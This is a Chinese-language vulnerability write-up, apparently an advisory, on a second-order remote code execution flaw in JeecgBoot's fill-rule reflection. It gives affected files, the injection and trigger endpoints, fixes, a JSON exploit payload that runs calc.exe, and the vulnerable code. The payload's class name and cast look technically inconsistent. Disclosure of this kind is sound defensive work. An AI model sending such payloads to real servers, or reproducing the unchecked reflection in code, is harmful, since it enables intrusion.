# JeecgBoot 远程代码执行漏洞总结 ## 漏洞概述 JeecgBoot 存在一个**二阶远程代码执行(RCE)**漏洞。 漏洞源于 `FillRuleUtil` 组件中的不安全反射机制。`/sys/fillRule/edit` 接口缺乏基于角色的授权和输入验证,允许攻击者修改 `ruleClass` 参数(例如注入 `org.apache.commons.collections3.functors.InvokerTransformer`)并将恶意类名存储到数据库中。当管理员或用户后续通过 `/sys/sysDepart/add` 创建部门时,应用会从数据库读取该恶意规则,并使用 `Class.forName().newInstance()` 实例化恶意类,从而导致任意代码执行。 ## 影响范围 * **受影响版本**:<= v3.9.1 * **受影响组件**: * `SysFillRuleController.java` (L96-100) * `SysDepartController.java` (L213-230) * `SysDepartServiceImpl.java` (L187-227) * `FillRuleUtil.java` (L30-84) * **入口点**: * 注入点:`POST /sys/fillRule/edit` * 触发点:`POST /sys/sysDepart/add` ## 修复方案 * **授权修复**:漏洞利用需要标准认证,但完全缺乏适当的基于角色的授权。应实施严格的 RBAC(基于角色的访问控制),防止普通用户覆盖规则。 * **输入验证**:对 `ruleClass` 等参数进行严格的白名单校验,禁止反射加载非预期的类。 * **依赖管理**:确保类路径上不存在易受攻击的 gadget 链(如 Apache Commons Collections)。 ## POC / 利用代码 ### 恶意载荷 (Malicious Payload for Phase 1) ```json { "id": "existing_fill_rule_id", "ruleCode": "org_num_role", "ruleClass": "org.apache.commons.collections3.functors.InvokerTransformer", "ruleParams": "{\"methodName\": \"exec\", \"arg0\": [\"calc.exe\"]}" } ``` ### 触发点代码 (Phase 3: Detonation) ```java // Line 36-38: Query sys_fill_rule table QueryWrapper queryWrapper = new QueryWrapper(); queryWrapper.eq("rule_code", ruleCode); // "org_num_role" JSONObject entity = JSON.parseObject(JSON.toJSONString(sql.getOne(queryWrapper))); // Line 44: Extract ruleClass from database (now attacker-controlled) String ruleClass = entity.getString("ruleClass"); // // Line 77 - UNSAFE REFLECTION - HERE !!! IFillRuleHandler ruleHandler = (IFillRuleHandler) Class.forName(ruleClass).newInstance(); return ruleHandler.execute(params, formData); ```